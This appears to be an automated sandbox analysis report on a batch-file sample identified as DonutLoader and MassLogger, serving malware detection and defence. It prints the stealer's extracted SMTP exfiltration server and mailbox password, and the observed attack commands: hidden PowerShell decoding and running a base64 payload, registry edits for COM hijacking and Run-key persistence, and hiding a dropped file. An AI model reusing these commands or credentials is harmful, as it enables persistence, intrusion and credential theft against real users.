Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 00:50
General
- Target QUOTATION REQUEST-R E KDB.bat
- Size 145KB
- Sample260423-a7bvdae16x
- SHA256 88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496
Malware Config
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 61 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\QUOTATION REQUEST-R E KDB.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\QUOTATION REQUEST-R E KDB.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Injury" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\EMOTION.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Earn.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\Earn.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4fizpbio\4fizpbio.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES175B.tmp" "c:\Users\Admin\AppData\Local\Temp\4fizpbio\CSCB84BE055F5BC4BFF9E228E3A78FC3413.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
4fizpbio.dll
EMOTION.tmp
EMOTION.tmp
Earn.ps1
RES175B.tmp
__PSScriptPolicyTest_nvutjssh.hn2.ps1
Record.bat
4fizpbio.0.cs
4fizpbio.cmdline
CSCB84BE055F5BC4BFF9E228E3A78FC3413.TMP
memory/2408-63-0x00000220AB8B0000-0x00000220AB91F000-memory.dmp
memory/2408-56-0x00000220AB740000-0x00000220AB750000-memory.dmp
memory/2408-47-0x00000220AB740000-0x00000220AB750000-memory.dmp
memory/2408-54-0x00000220AB880000-0x00000220AB8A2000-memory.dmp
memory/2408-62-0x00000220AB710000-0x00000220AB722000-memory.dmp
memory/2408-48-0x00000220AB740000-0x00000220AB750000-memory.dmp
memory/2408-61-0x00000220AB600000-0x00000220AB60C000-memory.dmp
memory/3104-85-0x00000255FA330000-0x00000255FA33C000-memory.dmp
memory/3128-91-0x0000000003330000-0x0000000003344000-memory.dmp
memory/3128-93-0x0000000004C10000-0x0000000004C2E000-memory.dmp
memory/4280-82-0x000001AB96710000-0x000001AB9671C000-memory.dmp
memory/4624-87-0x00000189E70E0000-0x00000189E70E8000-memory.dmp
memory/4624-88-0x00000189E5250000-0x00000189E525C000-memory.dmp
memory/4624-89-0x00000189E7010000-0x00000189E7022000-memory.dmp
memory/4624-90-0x00000189FF170000-0x00000189FF1DF000-memory.dmp
memory/4624-95-0x00000189E5250000-0x00000189E525C000-memory.dmp
memory/4624-97-0x00000189FF170000-0x00000189FF1DF000-memory.dmp